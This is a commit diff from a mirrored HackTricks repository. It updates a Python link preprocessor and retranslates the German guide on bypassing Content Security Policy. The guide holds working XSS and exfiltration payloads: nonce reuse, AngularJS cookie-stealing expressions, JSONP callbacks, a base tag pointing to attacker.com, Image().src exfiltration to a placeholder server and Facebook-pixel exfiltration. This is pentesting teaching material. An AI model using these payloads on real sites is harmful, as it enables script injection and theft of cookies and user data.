maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/generic-methodologies-and-resources/external-recon-meth

Browse Source
This commit is contained in:
Translator 2025-01-27 16:56:01 +00:00
parent 8fc207d07c
commit 4692b61946
2 changed files with 45 additions and 42 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
hacktricks-preprocessor.py
View File

@ -78,6 +78,9 @@ def ref(matchobj):
sys.exit(1) sys.exit(1)
if href.endswith("/README.md"):
href = href.replace("/README.md", "/index.html")
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>""" template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"}) # translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})

84
src/pentesting-web/content-security-policy-csp-bypass/README.md
View File

@ -25,7 +25,7 @@ CSP kann mit diesen Headern durchgesetzt oder überwacht werden:
### Defining Resources ### Defining Resources
CSP beschränkt die Ursprünge für das Laden von sowohl aktiven als auch passiven Inhalten und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist: CSP schränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte ein und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
```bash ```bash
default-src 'none'; default-src 'none';
img-src 'self'; img-src 'self';
@ -52,29 +52,29 @@ object-src 'none';
- **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente. - **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente.
- **base-uri**: Gibt erlaubte URLs für das Laden mit `<base>`-Elementen an. - **base-uri**: Gibt erlaubte URLs für das Laden mit `<base>`-Elementen an.
- **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf. - **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf.
- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen darf. - **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen kann.
- **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben. - **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
- **sandbox**: Wendet Einschränkungen an, die ähnlich wie das Sandbox-Attribut eines `<iframe>` sind. - **sandbox**: Wendet Einschränkungen an, die dem Sandbox-Attribut eines `<iframe>` ähnlich sind.
- **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird. - **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
- **worker-src**: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an. - **worker-src**: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
- **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab abgerufen werden. - **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab abgerufen werden.
- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf irgendeine Weise navigieren kann (a, Formular, window.location, window.open usw.) - **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, Formular, window.location, window.open usw.)
### Quellen ### Quellen
- `*`: Erlaubt alle URLs, außer denen mit `data:`, `blob:`, `filesystem:`-Schemas. - `*`: Erlaubt alle URLs, außer denen mit `data:`, `blob:`, `filesystem:`-Schemas.
- `'self'`: Erlaubt das Laden von derselben Domain. - `'self'`: Erlaubt das Laden von derselben Domain.
- `'data'`: Erlaubt das Laden von Ressourcen über das Daten-Schema (z. B. Base64-kodierte Bilder). - `'data'`: Erlaubt das Laden von Ressourcen über das Datenschema (z. B. Base64-kodierte Bilder).
- `'none'`: Blockiert das Laden von jeder Quelle. - `'none'`: Blockiert das Laden von jeder Quelle.
- `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen. - `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.
- `'unsafe-hashes'`: Ermöglicht spezifische Inline-Ereignis-Handler. - `'unsafe-hashes'`: Ermöglicht spezifische Inline-Ereignis-Handler.
- `'unsafe-inline'`: Erlaubt die Verwendung von Inline-Ressourcen wie Inline-`<script>` oder `<style>`, aus Sicherheitsgründen nicht empfohlen. - `'unsafe-inline'`: Erlaubt die Verwendung von Inline-Ressourcen wie Inline-`<script>` oder `<style>`, aus Sicherheitsgründen nicht empfohlen.
- `'nonce'`: Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmal verwendete Zahl). - `'nonce'`: Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmal verwendete Zahl).
- Wenn Sie eine eingeschränkte Ausführung von JS haben, ist es möglich, ein verwendetes Nonce innerhalb der Seite mit `doc.defaultView.top.document.querySelector("[nonce]")` zu erhalten und es dann wiederzuverwenden, um ein bösartiges Skript zu laden (wenn strict-dynamic verwendet wird, kann jede erlaubte Quelle neue Quellen laden, sodass dies nicht erforderlich ist), wie in: - Wenn Sie eine eingeschränkte Ausführung von JS haben, ist es möglich, einen verwendeten Nonce innerhalb der Seite mit `doc.defaultView.top.document.querySelector("[nonce]")` zu erhalten und ihn dann wiederzuverwenden, um ein bösartiges Skript zu laden (wenn strict-dynamic verwendet wird, kann jede erlaubte Quelle neue Quellen laden, sodass dies nicht erforderlich ist), wie in:
<details> <details>
<summary>Skript mit wiederverwendetem Nonce laden</summary> <summary>Skript laden, das Nonce wiederverwendet</summary>
```html ```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ --> <!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img <img
@ -96,7 +96,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
- `filesystem:`: Erlaubt das Laden von Ressourcen vom Dateisystem. - `filesystem:`: Erlaubt das Laden von Ressourcen vom Dateisystem.
- `'report-sample'`: Beinhaltet ein Beispiel des verletzenden Codes im Verletzungsbericht (nützlich für das Debugging). - `'report-sample'`: Beinhaltet ein Beispiel des verletzenden Codes im Verletzungsbericht (nützlich für das Debugging).
- `'strict-origin'`: Ähnlich wie 'self', stellt jedoch sicher, dass das Sicherheitsniveau des Protokolls der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden). - `'strict-origin'`: Ähnlich wie 'self', stellt jedoch sicher, dass das Sicherheitsniveau des Protokolls der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).
- `'strict-origin-when-cross-origin'`: Sendet vollständige URLs bei gleichnamigen Anfragen, sendet jedoch nur den Ursprung, wenn die Anfrage cross-origin ist. - `'strict-origin-when-cross-origin'`: Sendet vollständige URLs bei Anfragen mit demselben Ursprung, sendet jedoch nur den Ursprung, wenn die Anfrage cross-origin ist.
- `'unsafe-allow-redirects'`: Erlaubt das Laden von Ressourcen, die sofort zu einer anderen Ressource umleiten. Nicht empfohlen, da es die Sicherheit schwächt. - `'unsafe-allow-redirects'`: Erlaubt das Laden von Ressourcen, die sofort zu einer anderen Ressource umleiten. Nicht empfohlen, da es die Sicherheit schwächt.
## Unsichere CSP-Regeln ## Unsichere CSP-Regeln
@ -115,8 +115,8 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval' ### 'unsafe-eval'
> [!VORSICHT] > [!CAUTION]
> Dies funktioniert nicht, für mehr Informationen [**hier überprüfen**](https://github.com/HackTricks-wiki/hacktricks/issues/653). > Dies funktioniert nicht, für mehr Informationen [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml ```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval'; Content-Security-Policy: script-src https://google.com 'unsafe-eval';
``` ```
@ -161,7 +161,7 @@ Funktionierender Payload:
``` ```
Es ist jedoch sehr wahrscheinlich, dass der Server **die hochgeladene Datei validiert** und nur **bestimmte Dateitypen** zulässt. Es ist jedoch sehr wahrscheinlich, dass der Server **die hochgeladene Datei validiert** und nur **bestimmte Dateitypen** zulässt.
Darüber hinaus, selbst wenn Sie einen **JS-Code innerhalb** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wird dies nicht ausreichen, da einige Server wie der Apache-Server **den MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **die Ausführung von Javascript**-Code in etwas, das ein Bild sein sollte, **ablehnen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache die _**.wave**_-Erweiterung nicht kennt, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient. Darüber hinaus, selbst wenn Sie einen **JS-Code innerhalb** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wird dies nicht ausreichen, da einige Server wie der Apache-Server **den MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **die Ausführung von Javascript**-Code in etwas, das ein Bild sein sollte, **ablehnen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache die _**.wave**_ Erweiterung nicht kennt, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient.
Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)). Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
@ -169,7 +169,7 @@ Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen geling
Wenn es nicht möglich ist, JS zu injizieren, könnten Sie dennoch versuchen, beispielsweise Anmeldeinformationen **durch das Injizieren einer Formularaktion** zu exfiltrieren (und vielleicht erwarten, dass Passwortmanager Passwörter automatisch ausfüllen). Sie finden ein [**Beispiel in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Beachten Sie auch, dass `default-src` keine Formularaktionen abdeckt. Wenn es nicht möglich ist, JS zu injizieren, könnten Sie dennoch versuchen, beispielsweise Anmeldeinformationen **durch das Injizieren einer Formularaktion** zu exfiltrieren (und vielleicht erwarten, dass Passwortmanager Passwörter automatisch ausfüllen). Sie finden ein [**Beispiel in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Beachten Sie auch, dass `default-src` keine Formularaktionen abdeckt.
### Drittanbieter-Endpunkte + ('unsafe-eval') ### Third Party Endpoints + ('unsafe-eval')
> [!WARNING] > [!WARNING]
> Für einige der folgenden Payloads **wird `unsafe-eval` nicht einmal benötigt**. > Für einige der folgenden Payloads **wird `unsafe-eval` nicht einmal benötigt**.
@ -292,16 +292,16 @@ Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine
Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, gibt es viele Drittanbieter-Domains, die irgendwo in der CSP erlaubt sein könnten und missbraucht werden können, um entweder Daten zu exfiltrieren oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind: Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, gibt es viele Drittanbieter-Domains, die irgendwo in der CSP erlaubt sein könnten und missbraucht werden können, um entweder Daten zu exfiltrieren oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:
| Entity | Erlaubte Domain | Fähigkeiten | | Entity | Allowed Domain | Capabilities |
| ----------------- | ------------------------------------------ | ------------ | | ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil | | Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | | Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | | Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | | Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec | | Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec | | Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | | Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec | | Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen. Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen.
@ -319,10 +319,10 @@ Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit [
2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website". 2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website".
3. Gehen Sie zu "Einstellungen -> Grundlegend" und holen Sie sich Ihre "App-ID". 3. Gehen Sie zu "Einstellungen -> Grundlegend" und holen Sie sich Ihre "App-ID".
4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gadget "fbq" durch ein "customEvent" und die Datenlast exfiltrieren. 4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gadget "fbq" durch ein "customEvent" und die Datenlast exfiltrieren.
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL ähnlich wie dieser gefunden werden könnte: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events). 5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL zu finden sein könnte, die ähnlich aussieht wie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Wählen Sie die Registerkarte "Testereignisse", um die von "Ihrer" Website gesendeten Ereignisse zu sehen. 6. Wählen Sie die Registerkarte "Testereignisse", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.
Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Angreifers im Facebook-Entwicklerkonto zeigt, und um ein benutzerdefiniertes Ereignis wie folgt auszulösen: Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Facebook-Entwicklerkontos des Angreifers zeigt, und geben Sie ein benutzerdefiniertes Ereignis wie folgt aus:
```JavaScript ```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​ fbq('trackCustom', 'My-Custom-Event',{​
@ -333,7 +333,7 @@ Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tab
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a> ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Neben der oben genannten Umleitung, um Pfadbeschränkungen zu umgehen, gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann. Neben der oben genannten Umleitung zum Umgehen von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.
Wenn CSP beispielsweise den Pfad `https://example.com/scripts/react/` zulässt, kann er wie folgt umgangen werden: Wenn CSP beispielsweise den Pfad `https://example.com/scripts/react/` zulässt, kann er wie folgt umgangen werden:
```html ```html
@ -347,7 +347,7 @@ Dies funktioniert, weil der Browser eine Datei mit dem Namen `..%2fangular%2fang
Durch **Ausnutzung dieser Inkonsistenz in der URL-Interpretation zwischen dem Browser und dem Server können die Pfadregeln umgangen werden**. Durch **Ausnutzung dieser Inkonsistenz in der URL-Interpretation zwischen dem Browser und dem Server können die Pfadregeln umgangen werden**.
Die Lösung besteht darin, `%2f` auf der Serverseite nicht als `/` zu behandeln, um eine konsistente Interpretation zwischen dem Browser und dem Server zu gewährleisten und dieses Problem zu vermeiden. Die Lösung besteht darin, `%2f` auf der Serverseite nicht als `/` zu behandeln, um eine konsistente Interpretation zwischen dem Browser und dem Server sicherzustellen und dieses Problem zu vermeiden.
Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output) Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -361,7 +361,7 @@ Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
Wenn die **base-uri**-Richtlinie fehlt, können Sie dies ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) durchzuführen. Wenn die **base-uri**-Richtlinie fehlt, können Sie dies ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) durchzuführen.
Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und damit eine XSS zu erreichen.**\ Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und so eine XSS zu erreichen.**\
Wenn die anfällige Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im Basis-Tag. Wenn die anfällige Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im Basis-Tag.
```html ```html
<base href="https://www.attacker.com/" /> <base href="https://www.attacker.com/" />
@ -370,7 +370,7 @@ Wenn die anfällige Seite mit **httpS** geladen wird, verwenden Sie eine httpS-U
Eine spezifische Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt `$event` zur Verfügung, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Bemerkenswerterweise besitzt das `$event/event`-Objekt in Chrome ein `path`-Attribut, das ein Objektarray enthält, das in der Ausführungskette des Ereignisses beteiligt ist, wobei das `window`-Objekt stets am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Umgehungstaktiken. Eine spezifische Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt `$event` zur Verfügung, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Bemerkenswerterweise besitzt das `$event/event`-Objekt in Chrome ein `path`-Attribut, das ein Objektarray enthält, das in der Ausführungskette des Ereignisses beteiligt ist, wobei das `window`-Objekt stets am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Umgehungstaktiken.
Durch die Weiterleitung dieses Arrays an den `orderBy`-Filter ist es möglich, über es zu iterieren und das terminale Element (das `window`-Objekt) zu nutzen, um eine globale Funktion wie `alert()` auszulösen. Der unten demonstrierte Codeausschnitt verdeutlicht diesen Prozess: Durch die Weiterleitung dieses Arrays an den `orderBy`-Filter ist es möglich, über es zu iterieren und das terminale Element (das `window`-Objekt) zu nutzen, um eine globale Funktion wie `alert()` auszulösen. Der unten dargestellte Codeausschnitt verdeutlicht diesen Prozess:
```xml ```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
@ -393,13 +393,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working --> <!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)"> <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
``` ```
Andere JSONP-Arbitrary-Execution-Endpunkte finden Sie [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (einige von ihnen wurden gelöscht oder behoben) Andere JSONP beliebige Ausführung Endpunkte können [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) gefunden werden (einige von ihnen wurden gelöscht oder behoben)
### Bypass über Umleitung ### Umgehung durch Umleitung
Was passiert, wenn CSP auf serverseitige Umleitungen trifft? Wenn die Umleitung zu einer anderen Herkunft führt, die nicht erlaubt ist, wird sie weiterhin fehlschlagen. Was passiert, wenn CSP auf serverseitige Umleitungen trifft? Wenn die Umleitung zu einer anderen Herkunft führt, die nicht erlaubt ist, wird sie weiterhin fehlschlagen.
Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann die Umleitung jedoch die ursprünglichen Einschränkungen umgehen, wenn sie zu einem anderen Pfad führt. Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann die Umleitung jedoch, wenn sie zu einem anderen Pfad führt, die ursprünglichen Einschränkungen umgehen.
Hier ist ein Beispiel: Hier ist ein Beispiel:
```html ```html
@ -419,13 +419,13 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body> </body>
</html> </html>
``` ```
Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden sowohl `/test` als auch `/a/test` Skripte von CSP blockiert. Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden sowohl die Skripte `/test` als auch `/a/test` von CSP blockiert.
Die endgültige `http://localhost:5555/301` wird jedoch **serverseitig auf `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird. Die endgültige `http://localhost:5555/301` wird jedoch **serverseitig auf `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.
Mit dieser Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, weiterhin umgangen. Mit dieser Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, weiterhin umgangen.
Daher ist die beste Lösung, sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten hat und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können. Daher ist die beste Lösung sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten hat und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können.
### Bypass CSP mit schwebendem Markup ### Bypass CSP mit schwebendem Markup
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
``` ```
Von: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) Von: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild** **erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" nutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild** **lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" nutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Mit Service Workern ### Mit Service Workern
@ -478,9 +478,9 @@ Beispiel: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%
### img-src \*; via XSS (iframe) - Zeitangriff ### img-src \*; via XSS (iframe) - Zeitangriff
Beachten Sie das Fehlen der Direktive `'unsafe-inline'`\ Beachten Sie das Fehlen der Direktive `'unsafe-inline'`\
Diesmal können Sie das Opfer **eine Seite laden** lassen, die **unter Ihrer Kontrolle** steht, über **XSS** mit einem `<iframe`. Diesmal werden Sie das Opfer dazu bringen, auf die Seite zuzugreifen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie **die Zeit kontrollieren können, die die Seite zum Laden benötigt**, können Sie die Informationen extrahieren, die Sie benötigen. Diesmal können Sie das Opfer dazu bringen, eine Seite in **Ihrer Kontrolle** über **XSS** mit einem `<iframe` zu **laden**. Diesmal werden Sie das Opfer dazu bringen, auf die Seite zuzugreifen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie **die Zeit kontrollieren können, die die Seite zum Laden benötigt**, können Sie die Informationen extrahieren, die Sie benötigen.
Diesmal wird ein **Flag** extrahiert, wann immer ein **Zeichen korrekt erraten wird** über SQLi, die **Antwort** benötigt **mehr Zeit** aufgrund der Schlaf-Funktion. Dann werden Sie in der Lage sein, das Flag zu extrahieren: Diesmal wird ein **Flag** extrahiert, wann immer ein **Zeichen korrekt erraten wird**. Über SQLi benötigt die **Antwort** aufgrund der Schlaf-Funktion **mehr Zeit**. Dann werden Sie in der Lage sein, das Flag zu extrahieren:
```html ```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle --> <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -544,7 +544,7 @@ run()
Dieser Angriff würde einige soziale Ingenieurtechniken erfordern, bei denen der Angreifer **den Benutzer überzeugt, einen Link über das Lesezeichen des Browsers zu ziehen und abzulegen**. Dieses Lesezeichen würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen. Dieser Angriff würde einige soziale Ingenieurtechniken erfordern, bei denen der Angreifer **den Benutzer überzeugt, einen Link über das Lesezeichen des Browsers zu ziehen und abzulegen**. Dieses Lesezeichen würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen.
Für weitere Informationen [**überprüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). Für weitere Informationen [**prüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP-Umgehung durch Einschränkung von CSP ### CSP-Umgehung durch Einschränkung von CSP
